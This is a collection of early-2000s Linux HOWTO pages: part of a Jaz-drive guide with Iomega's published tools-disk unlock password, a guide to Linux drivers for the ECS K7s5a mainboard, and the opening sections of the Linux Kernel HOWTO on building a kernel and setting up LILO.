With some Jaz drives, the software to run the drive is supplied on a Jaz cartridge instead of on CD-ROM. The "problem" with these disks is that software-controlled write protection is enabled on the disk, so that the user can't wipe the disk until after the tools are installed at least once.

There are several ways you can reclaim the Jaz tools disk:

  • Install the tools on a DOS/Windows computer.
  • Use a DOS/Windows computer with the Jaz tools already installed to remove the password protection.
  • Use one of the Linux Utilities mentioned in a later section to remove the password protection.

If you have access to one of the password protection removal programs, all you need is the password that Iomega uses, and it is:

APlaceForYourStuff

Note that capitalization is important.


Jaz-drive HOWTO: Linux Utilities for Jaz Drives

 Next Previous Contents

5. Linux Utilities for Jaz Drives

5.1 jaztool

jaztool is a Linux utility written by Bob Willmot to support some of the Jaz drive's features (including software controlled ejection and write protection). I like jaztool because its commands can be embedded in alias commands and scripts. It's also easy to compile and install.

The original source code for jaztool can be found at http://www.willmot.com/jaztool/ and is also mirrored at my site at http://www.ultranet.com/~hsd/HOWTO/index.shtml#jaztool

Note that to use jaztool with a 2Gb Jaz drive, you must change ONE line of code. Change line 188 from this:

return(!strncasecmp(id,"IOMEGA JAZ 1GB",15));

to this:

return(!strncasecmp(id,"IOMEGA JAZ",11));

NOTE: There are two spaces between IOMEGA and JAZ in the previous two lines of code. SGML (or maybe just HTML) apparently removes the extra whitespace.

After building jaztool and installing it, it must be suid root, or run as root, or it won't work.

I use jaztool regularly, so if you have a question about it, I would be happy to try and answer it.

Ejecting a Cartridge

Use the following command to eject a cartridge:

jaztool /dev/sda eject

This might seem like a lot to type, but it's easy to make a slick alias like this:

alias jazej 'umount /jaz; jaztool /dev/sda eject'

Password Protection

There are two password protection modes on a Jaz, and both are controlled through software. One is Write Protected and the other is Read/Write Protected. jaztool will allow you to unlock a Write Protected disk, but under Linux, a device that cannot be read cannot be mounted, so Read/Write Protected is not supported.

If the cartridge is Write Protected (such as a Jaz Tools disk), use the following command to unlock it (the disk must not be mounted):

jaztool /dev/sda rw

jaztool prompts for a password, and if the password is correct, the disk is unlocked and ejected. This must be done to cause the SCSI driver to pick up the new mode when the cartridge is re-inserted.

To make the disk Write Protected again, use the following command:

jaztool /dev/sda ro

jaztool again prompts for a password, and the disk is locked and ejected.

Note that jaztool doesn't support the "Unprotect until Eject" feature found in the Windows world. If you remove the password protection, it is removed until you put it back on.

5.2 jaZip

If you'd prefer a nice, slick, graphical user interface to control your Jaz (and Zip!) drive, there's the jaZip tool. Check it out at: http://www.scripps.edu/~jsmith/jazip/

I haven't used jaZip myself, so please contact the author directly with questions on jaZip. Contact information is on the website listed above.


Jaz-drive HOWTO: Booting from a Jaz Cartridge

 Next Previous Contents

6. Booting from a Jaz Cartridge

6.1 BIOS Issues

If the Jaz drive co-exists with other SCSI harddrives, most BIOSes will want to boot the disk that has the lowest SCSI Id. The Jaz drive can be set to SCSI Ids 0-6, and typically come out of the box set to SCSI Id 5. Some BIOSes detect and skip removable devices like the Jaz. If your BIOS will boot from a Jaz, you can set your main SCSI harddrive to SCSI Id 1, then you can change the Jaz from SCSI Id 5 to 0 when you want to boot from the Jaz.

More typically, the Jaz drive co-exists with an IDE harddrive. Nearly every BIOS will want to boot the first IDE harddrive. Some BIOSes will allow you change a setting in the BIOS setup to boot from a SCSI device first. Others may require you to disable the IDE drives in the BIOS setup. Still others may require detaching the IDE drives physically or disabling the IDE interface.

6.2 Installing Linux on a Jaz Cartridge

Although running Linux from a Jaz cartridge is much slower than running from a harddrive, the Jaz drive makes an excellent ERD (Emergency Repair Disk). It's also fun to be able to just pop in some new Linux system or to try Linux on someone else's Jaz-equipped machine.

By far the easiest way to install Linux on the Jaz cartridge is simply to follow the install procedure for your favorite distribution with the Jaz drive being the only drive on the system. I've done this with RedHat 5.2, and it works perfectly. If you're not completely comfortable with doing weird, wild stuff with LILO, it's the only way to go.

If you want to do an "install" from your running system, you can often succeed in "building" a bootable system on a Jaz cartridge.

  • Partition the drive and make the filesystems. You probably need to have a swap partition, too, but if you have lots of RAM then maybe not. Mount the new root as /jaz and any additional partitions within that directory as appropriate.
  • Copy all the files into place. Be sure all the /dev files are copied. Be sure all permissions, ownership and group ids are retained.
  • Modify the files on the Jaz cartridge to suit the circumstances of booting from it. In particular be sure to change /jaz/etc/fstab to mount the Jaz cartridge partition(s) as appropriate. Also change /jaz/etc/lilo.conf to match as well.
  • There are two alternatives for installing the LILO boot loader:
    • Make a kernel image floppy and use rdev to make it mount the Jaz cartridge as root. Boot from the floppy when ready the first time then run LILO to make the Jaz MBR bootable.
    • You can run LILO from your non-Jaz root running system to install the bootable MBR on the Jaz cartridge. For more information on this option, check out Alessandro Rubini's LILO mini-HOWTO


The Elite's K7s5a mainboard HOWTO

Sebfrance sebfrance@ifrance.com,
Andreas Willenbrink Andreas.Willenbrink@web.de,
Álvaro Reguly nospam-alvaro@reguly.net

v1.3, 2002-04-19

How to use Elite's K7s5a mainboard under GNU/Linux.

1. Introduction

2. The integrated sound board

  • 2.1 Getting the ALSA drivers
  • 2.2 Installing them
  • 2.3 Kernel Approach: The AC'97 Driver

3. The mainboard's sensors

  • 3.1 Getting the drivers
  • 3.2 Installing them

4. The mainboard's LAN adapter

  • 4.1 Making it work...

5. Other

  • 5.1 Links
  • 5.2 Some words


The Elite's K7s5a mainboard HOWTO: Introduction

 Next Previous Contents

1. Introduction

I got the mainboard for christmas 2001, and after a little while, I understood that the new chipset sis735 was not handled by Mandrake 8.0, OSS had drivers for it that worked but I didn't really want to pay for it, so I looked on ALSA cvs and found that in their latest sources they had something for the sis 7012, and also find later the drivers for the sensors.


The Elite's K7s5a mainboard HOWTO: The integrated sound board

 Next Previous Contents

2. The integrated sound board

2.1 Getting the ALSA drivers

So we'll compiling the latest sources from ALSA, which should work for any other distrib as well... just the kernel sources will change because mandrake uses specific patches.

You may get your kernel sources from your distribution or from http://www.kernel.org

Here can be found Mandrake sources for the kernel used in 8.0:

ftp://ftp.univ-savoie.fr/pub/Linux/Mandrake/8.0/i586/Mandrake/RPMS/kernel -source-2.4.3-20mdk.i586.rpm

and grab the tarball from ALSA:

ftp://ftp.alsa-project.org/pub/driver/alsa-driver-0.9.0beta10.tar.bz2

2.2 Installing them

Install your kernel sources, in my case:

rpm -ivh kernel-source-2.4.3-20mdk.i586.rpm

Then decompress alsa drivers:

bzip2 -d alsa-driver-0.9.0beta10.tar.bz2 && tar -xvf alsa-driver-0.9.0beta10.tar

Make them and install them and create the devices files:

cd alsa-driver-0.9.0beta10 && make install && ./snddevices

Edit /etc/modules.conf to set everything, and add to it the following lines:

alias char-major-116 snd

alias char-major-14 soundcore

alias sound-slot-0 snd-card-0

alias sound-service-0-0 snd-mixer-oss

alias sound-service-0-1 snd-seq-oss

alias sound-service-0-3 snd-pcm-oss
alias sound-service-0-8 snd-seq-oss

alias sound-service-0-12 snd-pcm-oss

alias snd-card-0 snd-card-intel8x0

2.3 Kernel Approach: The AC'97 Driver

If you are using a 2.4 or later kernel you can use the Audio Codec '97 (AC'97) sound driver, as the integrated sound card is AC'97 complaint.

You may enable your soundcard with a kernel module, as a matter of fact, you should be able to just use the module without even recompiling your kernel, because most GNU/Linux distributions have it already, just type:

modprobe i810_audio

and you should see something like this in your syslog:

  Intel 810 + AC97 Audio, version 0.21, 21:31:04 Apr 15 2002

  i810: SiS 7012 found at IO 0xd800 and 0xdc00, IRQ 11

  i810_audio: Audio Controller supports 2 channels.

  ac97_codec: AC97 Audio codec, id: 0x414c:0x4710 (ALC200/200P)

  i810_audio: AC'97 codec 0 supports AMAP, total channels = 2

or type

dmesg | less and scroll to see the kernel messages.

If everything went fine, you may add i810_audio to /etc/modules so it will autoload everytime you boot:

echo "i810_audio" >> /etc/modules

or you like monolitic kernels (no modules), follow the step above to install the kernel sources and say Y to Sound card support and Y to Intel ICH (i8xx) audio support compile your kernel, install, reboot and now your integrated soundcard is working.

If you don't know how to compile a kernel, read the Kernel HOWTO, it's easy and you'll get a optimized kernel for you system, also you'll learn a bit about that talk of using the source code (yes you are already taking advantage of it :-)


The Elite's K7s5a mainboard HOWTO: The mainboard's sensors

 Next Previous Contents

3. The mainboard's sensors

3.1 Getting the drivers

Get the lm_sensors 2.6.2 or more recent: http://www.lm-sensors.nu/archive/lm_sensors-2.6.2.tar.gz You'll need kernel sources too in order to compile that one.

3.2 Installing them

tar -xzvf i2c-2.6.2.tar.gz

cd i2c-2.6.2

make && make install

Then there was a problem when making install for me, so if it doesn't work, just do the following:

cp kernel/i2c-core.o /lib/modules/`uname -r`/misc/i2c-core.o

cp kernel/i2c-proc.o /lib/modules/`uname -r`/misc/i2c-proc.o

Now let's copy the specific driver:

cp kernel/chips/it87.o /lib/modules/`uname -r`/misc/it87.o

ok now

cp prog/sensors/sensors /usr/bin/sensors

--------------------------------------------------------------------

Edit /etc/modules.conf and add to it the following lines:

alias char-major-89 i2c-dev

options it87 temp_type=0x31

now:

modprobe i2c-proc

modprobe it87

modprobe i2c-isa

sensors

should output you some data

When it works, you can write it to a file, that will be loaded automatically on boot. Under SuSE the file is: /etc/init.d/boot.local (used to be /sbin/init.d/) and you should just add: sensors -s Under mandrake, the install should have created that file: /etc/init.d/sensors, which you can edit freely, sensord being just a daemon to watch over temperature and fan speed, I assume no one will need something like that for her/his own machine.

Now as root you should edit your /etc/sensors.conf search for that line: chip "it87-*" and below you should be able to modify everything to get the right data, here is a copy of what i have in there: (please note that temp1 is trash and only temp2 and temp3 should be kept)

--------------------------------------------------------------------

chip "it87-*"

# The values below have been tested on Asus CUSI, CUM motherboards.

# Voltage monitors as advised in the It8705 data sheet

    label in0 "VCore"

    label in1 "Vcc2.5v"

    label in2 "Vcc5v"

    label in3 "+5V"

    label in4 "+12V"

    label in5 "-12V"

    label in6 "-5V"

    label in7 "SB 5V"

    label in8 "V battery"

    set in0_min 1.5 * 0.95

    set in0_max 1.5 * 1.05

    set in1_min 2.4

    set in1_max 2.6

    set in2_min 3.3 * 0.95

    set in2_max 3.3 * 1.05

    set in3_min 5.0 * 0.95

    set in3_max 5.0 * 1.05

    set in4_min  12 * 0.95

    set in4_max  12 * 1.05
    set in5_min -12 * 0.95

    set in5_max -12 * 1.05

    set in6_min  -5 * 0.95

    set in6_max  -5 * 1.05

    set in7_min   5 * 0.95

    set in7_max   5 * 1.05

    # vid not monitored by IT8705F

    ignore  vid

# For this family of chips the negative voltage equation is different from

# the lm78.  The chip uses two external resistor for scaling but one is

# tied to a positive reference voltage.  See ITE8705/12 datasheet (SIS950

# data sheet is wrong)

# Vs = (1 + Rin/Rf) * Vin - (Rin/Rf) * Vref.

# Vref = 4.096 volts, Vin is voltage measured, Vs is actual voltage.

    compute in2 (1 + 1)*@ ,       @/(1 + 1)

    compute in3 ((6.8/10)+1)*@ ,  @/((6.8/10)+1)

    compute in4 ((30/10) +1)*@  , @/((30/10) +1)

# The next two are negative voltages (-12 and -5).

# The following formulas must be used. Unfortunately the datasheet

# does not give recommendations for Rin, Rf, but we can back into

# them based on a nominal +2V input to the chip, together with a 4.096V Vref.

# Formula:

#    actual V = (Vmeasured * (1 + Rin/Rf)) - (Vref * (Rin/Rf))
#    For -12V input use Rin/Rf = 6.68

#    For -5V input use Rin/Rf = 3.33

# Then you can convert the forumula to a standard form like:

    compute in5 (7.67 * @) - 27.36  ,  (@ + 27.36) / 7.67

    compute in6 (4.33 * @) - 13.64  ,  (@ + 13.64) / 4.33

    compute in7 ((6.8/10)+1)*@ ,  @/((6.8/10)+1)

# Temperature

    label temp3       "Processor"

    set   temp3_over  40

    set   temp3_hyst  20

    label temp2       "Mainboard"

    set   temp2_over  45

    set   temp2_hyst  25

    ignore temp1

# Fans

    label fan1"Processor's Fan"

    set fan1_min 2000

    ignore fan3

    ignore fan2


The Elite's K7s5a mainboard HOWTO: The mainboard's LAN adapter

 Next Previous Contents

4. The mainboard's LAN adapter

4.1 Making it work...

If your board came with the optional on-board LAN card, you have a Silicon Integrated Systems [SiS] SiS900 10/100 Fast Ethernet card, this card is supported by Linux kernels 2.4 and later (that I know of, as I only use 2.4 kernels).

To make it work you should type

modprobe sis900

and you should see something like this in your syslog:

  sis900.c: v1.08.02 11/30/2001

  eth0: SiS 900 PCI Fast Ethernet at 0xd400, IRQ 5, 00:d0:09:ea:7a:98.

or type

dmesg | less and scroll to see the kernel messages.

If everything went fine, you may add sis900.o to /etc/modules so it will autoload everytime you boot:

echo "sis900" >> /etc/modules

or compile it in your kernel, where you should say Y to SiS 900/7016 PCI Fast Ethernet Adapter support in your kernel configuration.


The Elite's K7s5a mainboard HOWTO: Other

 Next Previous Contents

5. Other

5.1 Links

Warning: If your board is working fine, then don't fix it. Anyway here are the cool links:

  • Elite Group (new BIOS)
  • Overclockers Work Bench
  • ECS K7s5a FAQ
  • french guide for the K7S5a

5.2 Some words

Using a modified BIOS, I was able to successfully overclock my Athlon 1000Mhz to 1050Mhz flawlessy, but when I messed with hdparm (30Gig Western Digital hard drive) using hdparm -c1 -X66 /dev/hda, I managed to corrupt my filesystem, so beware.

If you are a real tweaker, you might want to change your BIOS Logo and stuff, some people tried that and it worked OK, some others not, so they had to flash their BIOS again (blindly with a bootdisk and a working bios in it) to make the board work again. It is really up to you. Search Google or OC Workbench and you'll be on your way.

Good Luck! :-)


The Linux Kernel HOWTO

Brian Ward bri@cs.uchicago.edu , Al Dev (Alavoor Vasudevan) alavoor[AT]yahoo.com

v3.9, 05 May 2002

This is a detailed guide to kernel configuration, compilation, upgrades, and troubleshooting for ix86-based systems.

1. Introduction

  • 1.1 Read this first! (I mean it)
  • 1.2 A word on style

2. Quick Steps - Kernel Compile

  • 2.1 Precautionary Preparations
  • 2.2 For The Impatient
  • 2.3 Building Kernel - Explanation of Steps
  • 2.4 Troublshoot Common Mistakes
  • 2.5 Post Kernel Building
  • 2.6 Sample lilo.conf

3. Important questions and their answers

  • 3.1 What does the kernel do, anyway?
  • 3.2 Why would I want to upgrade my kernel?
  • 3.3 What kind of hardware do the newer kernels support?
  • 3.4 What version of gcc and libc do I need?
  • 3.5 What's a loadable module?
  • 3.6 How much disk space do I need?
  • 3.7 How long does it take?

4. How to actually configure the kernel

  • 4.1 Getting the source
  • 4.2 Unpacking the source
  • 4.3 Configuring the kernel
  • 4.4 Now what? (The Makefile)

5. Compiling the kernel

  • 5.1 Cleaning and depending
  • 5.2 Compile time
  • 5.3 Other ``make''ables
  • 5.4 Installing the kernel

6. Patching the kernel

  • 6.1 Applying a patch
  • 6.2 If something goes wrong
  • 6.3 Getting rid of the .orig files
  • 6.4 Other patches

7. Additional packages

  • 7.1 kbd
  • 7.2 util-linux
  • 7.3 hdparm
  • 7.4 gpm

8. Some pitfalls

  • 8.1 make clean
  • 8.2 Huge or slow kernels
  • 8.3 The parallel port doesn't work/my printer doesn't work
  • 8.4 Kernel doesn't compile
  • 8.5 New version of the kernel doesn't seem to boot
  • 8.6 You forgot to run LILO, or system doesn't boot at all
  • 8.7 It says `warning: bdflush not running'
  • 8.8 I can't get my IDE/ATAPI CD-ROM drive to work
  • 8.9 It says weird things about obsolete routing requests
  • 8.10 Firewalling not working in 1.2.0
  • 8.11 ``Not a compressed kernel Image file''
  • 8.12 Problems with console terminal after upgrade to 1.3.x
  • 8.13 Can't seem to compile things after kernel upgrade
  • 8.14 Increasing limits

9. Note for upgrade to version 2.0.x, 2.2.x

10. Modules

  • 10.1 Installing the module utilities
  • 10.2 Modules distributed with the kernel

11. Tips and tricks

  • 11.1 Redirecting output of the make or patch commands
  • 11.2 Conditional kernel install
  • 11.3 Kernel updates

12. Other relevant HOWTOs that might be useful

13. Misc

  • 13.1 Author
  • 13.2 To do
  • 13.3 Contributions
  • 13.4 Copyright notice, License, and all that stuff

14. Other Formats of this Document

  • 14.1 Acrobat PDF format
  • 14.2 Convert Linuxdoc to Docbook format
  • 14.3 Convert to MS WinHelp format
  • 14.4 Reading various formats


The Linux Kernel HOWTO: Introduction

 Next Previous Contents

1. Introduction

Should you read this document? Well, see if you've got any of the following symptoms:

  • ``Arg! This wizzo-46.5.6 package says it needs kernel release 2.8.193 and I still only have release 1.0.9!''
  • There's a device driver in one of the newer kernels that you just gotta have
  • You really have no idea at all how to compile a kernel
  • ``Is this stuff in the README really the whole story?''
  • You came, you tried, it didn't work
  • You need something to give to people who insist on asking you to install their kernels for them

1.1 Read this first! (I mean it)

Some of the examples in this document assume that you have GNU tar, find, and xargs. These are quite standard; this should not cause problems. It is also assumed that you know your system's filesystem structure; if you don't, it is critical that you keep a written copy of the mount command's output during normal system operation (or a listing of /etc/fstab, if you can read it). This information is important, and does not change unless you repartition your disk, add a new one, reinstall your system, or something similar.

The latest ``production'' kernel version at the time of this writing was 2.2.9, meaning that the references and examples correspond to that release. Even though I try to make this document as version-independent as possible, the kernel is constantly under development, so if you get a newer release, it will inevitably have some differences. Again, this should not cause major problems, but it may create some confusion.

There are two versions of the linux kernel source, ``production'' and ``development.'' Production releases are the even-minor-numbered releases; 1.2.x was production, 2.0.x is production, as well as 2.2.x. These kernels are considered to be the most stable, bug-free versions available at the time of release. The development kernels (2.1.x, 2.3.x, etc) are meant as testing kernels, for people willing to test out new and possibly very buggy kernels. You have been warned.

1.2 A word on style

Text that looks like this is either something that appears on your screen, a filename, or something that can be directly typed in, such as a command, or options to a command (if you're looking at a plain-text file, it doesn't look any different). Commands and other input are frequently quoted (with ` '), which causes the following classic punctuation problem: if such an item appears at the end of a sentence in quotes, people often type a `.' along with the command, because the American quoting style says to put the period inside of the quotation marks. Even though common sense (and unfortunately, this assumes that the one with the ``common sense'' is used to the so-called American style of quotation) should tell one to strip off the punctuation first, many people simply do not remember, so I will place it outside the quotation marks in such cases. In other words, when indicating that you should type ``make config'' I would write `make config', not `make config.'


The Linux Kernel HOWTO: Quick Steps - Kernel Compile

 Next Previous Contents

2. Quick Steps - Kernel Compile

This section is written by Al Dev (alavoor[AT]yahoo.com) (The latest version of this document is at http://www.milkywaygalaxy.freeservers.com. You may want to check there for changes). Mirror sites are at - angelfire, geocities. These sites have lots of linux goodies and tips.

Kernel re-compile is required in order to make the kernel very lean and which will result in FASTER operating system . It is also required to support any new devices.

2.1 Precautionary Preparations

Before you build kernel, it is a good idea to do a backup of the system. If you had not backed up your system recently then do it now. See BRS Backup-Recovery-Software go here and click on BRS.

Or if you feel that you can take risk of losing data, then skip this section and go to next section.

2.2 For The Impatient

  1. Unpack the sources
  2. make clean
  3. make xconfig
  4. make dep
  5. make
  6. make bzImage
  7. make modules
  8. make install
  9. make modules_install
  10. configure LILO or GRUB.
See details in next section....

2.3 Building Kernel - Explanation of Steps

Details of the steps mentioned in the previous section:

Note: Below 'bash#' denotes the bash prompt, you should type the commands that appear after the 'bash#' prompt. Below are commands tested on Redhat Linux Kernel 2.4.7-10, but it should work for other distributions with very minor changes. It should also work for older kernel versions like 2.2, 2.0 and 1.3.

  1. Note: You can have many kernel images on your system. By following the steps below you do not overwrite or damage your existing kernel. These steps are very safe and your current kernel will be intact and will not be touched.

  2. Login in as 'root' throughout all these steps. Mount Redhat linux cdrom and install the linux kernel source rpm
    bash$ su - root
bash# cd /mnt/cdrom/RedHat/RPMS
bash# rpm -i kernel-headers*.rpm
bash# rpm -i kernel-source*.rpm
bash# rpm -i dev86*.rpm
bash# rpm -i bin86*.rpm
    (The bin86*.rpm and 'as86' is required only for OLDER Linux systems like redhat 5.x. Get Intel assembler 'as86' command from dev86*.rpm on cdrom or from bin86-mandrake , bin86-kondara ).

    • Start X-windows with 'startx'. If you are not able to start X-window then see next step below.
              bash# man startx
        bash# startx
        bash# cd /usr/src/linux
        bash# make xconfig
    • If you are not able to start X-window above then try -
              bash# export TERM=xterm
        bash# make menuconfig

If you find scrambled display, then use different terminal emulators like vt100,
vt102, vt220 or ansi. The display will be scrambled and will have garbage
characters in cases where you use telnet to login to remote linux. In such
cases you should use the terminal emulators like vt100, vt220.
For example:
        bash# export TERM=vt220
        bash# export TERM=ansi
At a lower level, use:
        bash# export TERM=vt100
        bash# make menuconfig

If the menuconfig command fails then try -
        bash# make config
    The "make xconfig" or "make menuconfig" brings up a user friendly GUI interface. And "make config" brings up command-line console mode interface. You can load the configuration file from /usr/src/linux/.config (dot config file. Note the dot before config).

  4. Within 'make xconfig' you must do these to avoid problems -
    • Select proper CPU type - Pentium 3, AMD K6, Cyrix, Pentium 4, Intel 386, DEC Alpha, PowerPC otherwise kernel will not boot!!
    • Select SMP support - whether single CPU or multiple CPUs
    • Filesystems - Select Windows95 Vfat, MSDOS, NTFS as part of kernel and not as loadable modules. (My personal preference but you are free to pick your own option).
    • Enable the Loadable kernel modules support! With this option you can load/unload the device drivers dynamically on running linux system on the fly. See these man pages
      bash# rpm -i /mnt/cdrom/Redhat/RPMS/modutils*.rpm
bash# man lsmod
bash# man insmod
bash# man rmmod
bash# man depmod
bash# man modprobe

  5. Save and Exit "make xconfig". All the options which you selected is now saved into configuration file at /usr/src/linux/.config (dot config file). And now, do -
    bash# make dep
bash# make clean

  6. Read the following file (to gain some knowledge about kernel building. Tip: Use the color editor gvim for better readability.
    bash# gvim -R   /usr/src/linux/arch/i386/config.in
bash# man less
bash# less   /usr/src/linux/arch/i386/config.in
Type 'h' for help and to navigate press i, j, k, l, h or arrow, page up/down keys.

  7. Now, give the make command -
            bash# cd /usr/src/linux
        bash# man nohup
        bash# nohup make bzImage &
        bash# man tail
        bash# tail -f nohup.out     (.... to monitor the progress)
This will put the kernel in /usr/src/linux/arch/i386/boot/bzImage

  8. After bzImage is successful, copy the kernel image to /boot directory. You must copy the new kernel image to /boot directory, otherwise the new kernel MAY NOT boot. Two options for boot loading under Redhat linux - (1) Lilo and (2) GRUB. And then read the manual page on lilo (see also http://www.linuxdoc.org/HOWTO/LILO-crash-rescue-HOWTO.html) and see the sample lilo.conf file. Always give a date extension to the filename, because it tells you when you built the kernel, as shown below:
    bash# cp /usr/src/linux/arch/i386/boot/bzImage     /boot/bzImage.myker.26mar2001
bash# man lilo
bash# man lilo.conf
And edit /etc/lilo.conf file and put these lines -
        image=/boot/bzImage.myker.26mar2001
        label=myker
        root=/dev/hda1
        read-only
You can check device name for 'root=' with the command -
        bash# df   /

  9. Now give
    bash# lilo
bash# lilo -q
    You must re-run lilo even if the entry 'myker' exists, everytime you create a new bzImage.

  10. Reboot the machine and at lilo press tab key and type 'myker' If it boots then you did a good job! Otherwise at lilo select your old kernel, boot and re-try all over again. Your old kernel is still INTACT and SAFE at say /boot/vmlinuz-2.0.34-0.6

  11. If your new kernel 'myker' boots and works properly, you can create the boot disk. Insert a blank floppy into floppy drive and -
    bash# cd /usr/src/linux
bash# make bzdisk

See also mkbootdisk -
bash# rpm -i mkbootdisk*.rpm
bash# man mkbootdisk

  12. LOADABLE MODULES: This step is required ONLY if you had enabled Loadable module support in step 3 above. Loadable module are located in /lib/modules. You MUST do this step if you enabled or disabled any modules, otherwise you will get 'unresolved symbols' errors during or after kernel boot. Check for insmod command which is extensively used for loading the modules.
    bash# cd /usr/src/linux
bash# make modules
bash# make modules_install
    This will copy the modules to /lib/modules directory. For example to load the module /lib/modules/2.4.2-2/kernel/drivers/block/loop.o, you would do :
    bash# man insmod
bash# modprobe loop
bash# insmod loop
bash# lsmod
    You can set PATH the insmod searches in /etc/modules.conf

2.4 Troublshoot Common Mistakes

The System Hangs at LILO

Sympton: After you build the kernel and reboot, the system hangs just before LILO.

Reason: Probably you did not set the BIOS to pick up the proper Primary Master IDE and Secondary Slave IDE hard disk partition.

Solution: Power on the machine and press DEL key to do setup of the BIOS (Basic Input Output system). Select the IDE settings and set proper primary hard disk partition and slave drives. When the system boots it looks for the primary IDE hard disk and the Master Boot Record partition. It reads the MBR and starts loading the Linux Kernel from the hard disk partition.

No init found

The following mistake is commited very frequently by new users.

If your new kernel does not boot and you get -

Warning: unable to open an initial console
Kernel panic: no init found. Try passing init= option to kernel
The problem is that you did not set the "root=" parameter properly in the /etc/lilo.conf. In my case, I used root=/dev/hda1 which is having the root partition "/". You must properly point the root device in your lilo.conf, it can be like /dev/hdb2 or /dev/hda7.

The kernel looks for the init command which is located in /sbin/init. And /sbin directory lives on the root partition. For details see -

bash# man init

The 'depmod' gives "Unresolved symbol error messages"

When you run depmod it gives "Unresolved symbols". A sample error message is given here to demonstrate the case:

bash$ su - root
bash# man depmod
bash# depmod
depmod: *** Unresolved symbols in /lib/modules/version/kernel/drivers/md/linear.o
depmod: *** Unresolved symbols in /lib/modules/version/kernel/drivers/md/multipath.o
depmod: *** Unresolved symbols in /lib/modules/version/kernel/drivers/md/raid0.o
depmod: *** Unresolved symbols in /lib/modules/version/kernel/drivers/md/raid1.o
depmod: *** Unresolved symbols in /lib/modules/version/kernel/drivers/md/raid5.o

Reason: You did not make modules and install the modules after building the new kernel with "make bzImage".

Solution: After you build the new kernel, you must do:

bash$ su - root
bash# cd /usr/src/linux
bash# make modules
bash# make modules_install

Kernel Does Not Load Module - "Unresolved symbols" Error Messages

When you boot kernel and system tries to load any modules and you get "Unresolved symbol : __some_function_name" then it means that you did not clean compile the modules and kernel. It is mandatory that you should do make clean and make the modules. Do this -

        bash# cd /usr/src/linux
        bash# make dep
        bash# make clean
        bash# nohup make bzImage &
        bash# tail -f nohup.out     (.... to monitor the progress)
        bash# make modules
        bash# make modules_install

Kernel fails to load a module

If the kernel fails to load a module (say loadable module for network card or other devices), then you may want to try to build the driver for device right into the kernel. Sometimes loadable module will NOT work and the driver needs to be built right inside the kernel. For example - some network cards do not support loadable module feature - you MUST build the driver of the network card right into linux kernel. Hence, in 'make xconfig' you MUST not select loadable module for this device.

Loadable modules

You can install default loadable modules with -

The step given below may not be required but is needed ONLY FOR EMERGENCIES where your /lib/modules files are damaged. If you already have the /lib/modules directory and in case you want replace them use the --force to replace the package and select appropriate cpu architecture.

For new versions of linux redhat linux 6.0 and later, the kernel modules are included with kernel-2.2*.rpm. Install the loadable modules and the kernel with

        This will list the already installed package.
bash# rpm -qa | grep -i kernel

bash# rpm -U --force  /mnt/cdrom/Redhat/RPMS/kernel-2.2.14-5.0.i686.rpm
(or)
bash# rpm -U --force  /mnt/cdrom/Redhat/RPMS/kernel-2.2.14-5.0.i586.rpm
(or)
bash# rpm -U --force  /mnt/cdrom/Redhat/RPMS/kernel-2.2.14-5.0.i386.rpm

This is only for old versions of redhat linux 5.2 and before. Boot new kernel and install the loadable modules from RedHat Linux "contrib" cdrom

bash# rpm -i /mnt/cdrom/contrib/kernel-modules*.rpm
....(For old linux systems which do not have insmod pre-installed)

2.5 Post Kernel Building

After successfully building and booting the Linux kernel, you may be required to do these additional steps to make some of the devices to work with Linux. (The steps below were tested on Redhat Linux but should work with other distributions as well.)

Video card/Monitor configuration:

  • Please see the video card manual which is usually shipped with the PC. You should look for a "Technical Specifications" page.
  • Please see the monitor's manual and look for a "Technical Specifications" page.
You can configure the Video card and monitor by using these commands:
bash$ su - root
bash# man Xconfigurator
bash# /usr/bin/X11/Xconfigurator --help
bash# /usr/bin/X11/Xconfigurator
bash# /usr/bin/X11/Xconfigurator --expert

See also:
bash# man xf86config
bash# /usr/bin/X11/xf86config
If your card is not detected automatically, then you can use the --expert option and select the "Unlisted card". If your monitor is not listed then select the generic monitor type SVGA 1024x768.

Sound card configuration:

  • Connect your external speakers to the sound card's audio port.
  • Connect your CDROM audio wire to sound card's audio 4-pin socket. (Otherwise your cdrom drive will not play the music from your music cd)
  • Refer to HOWTO docs on 'Sound' at http://www.linuxdoc.org
bash$ su - root
bash# man sndconfig
bash# /usr/sbin/sndconfig
Then start X-window 'KDE desktop' with 'startx' command. Click on 'K Start->ControlCenter->SoundServer->General->Test Sound'. This should play the test sound. Then click on 'K Start->MultiMedia->SoundMixer->SoundVolumeSlider' and adjust the sound volume.

Network card configuration:

  • Use /sbin/linuxconf
  • Or use KDE control panel
  • Refer to HOWTO docs on 'Networking' at http://www.linuxdoc.org

Configure Firewall and IP Masquerading : For Linux kernel version 2.4 and above, the firewall and IP Masquerading is implemented by NetFilter package. Hence in kernel config you should enable Netfilter and run the Firewall/IPMasq script. Download the scripts from Firewall-IPMasq scripts , main page of Netfilter is at http://netfilter.samba.org. Related materials at firewalling-matures and Netfilter-FAQ.

For kernel version below 2.4 you should install the firewall rpms from rpmfind.net or firewall.src.rpm.

Configuration of other devices: Refer to HOWTO docs relating to your devices at http://www.linuxdoc.org

2.6 Sample lilo.conf

Given below is a sample /etc/lilo.conf file. You should follow the naming conventions like ker2217 (for kernel 2.2.17), ker2214 (for kernel 2.2.14). You can have many kernel images on the same /boot system. On my machine I have something like:

boot=/dev/hda
map=/boot/map
install=/boot/boot.b
prompt
timeout=50
default=firewall

image=/boot/vmlinuz-2.2.14-5.0
        label=ker2214
        read-only
        root=/dev/hda9

image=/boot/vmlinuz-2.2.17-14
        label=ker2217
        read-only
        root=/dev/hda9

#image=/usr/src/linux/arch/i386/boot/bzImage
#       label=myker
#       root=/dev/hda7
#       read-only

image=/boot/bzImage.myker.11feb2001
        label=myker11feb
        root=/dev/hda9
        read-only

image=/boot/bzImage.myker.01jan2001
        label=myker01jan
        root=/dev/hda9
        read-only

image=/boot/bzImage.myker-firewall.16mar2001
        label=firewall
        root=/dev/hda9
        read-only


The Linux Kernel HOWTO: Important questions and their answers

 Next Previous Contents

3. Important questions and their answers

3.1 What does the kernel do, anyway?

The Unix kernel acts as a mediator for your programs and your hardware. First, it does (or arranges for) the memory management for all of the running programs (processes), and makes sure that they all get a fair (or unfair, if you please) share of the processor's cycles. In addition, it provides a nice, fairly portable interface for programs to talk to your hardware.

There is certainly more to the kernel's operation than this, but these basic functions are the most important to know.

3.2 Why would I want to upgrade my kernel?

Newer kernels generally offer the ability to talk to more types of hardware (that is, they have more device drivers), they can have better process management, they can run faster than the older versions, they could be more stable than the older versions, and they fix silly bugs in the older versions. Most people upgrade kernels because they want the device drivers and the bug fixes.

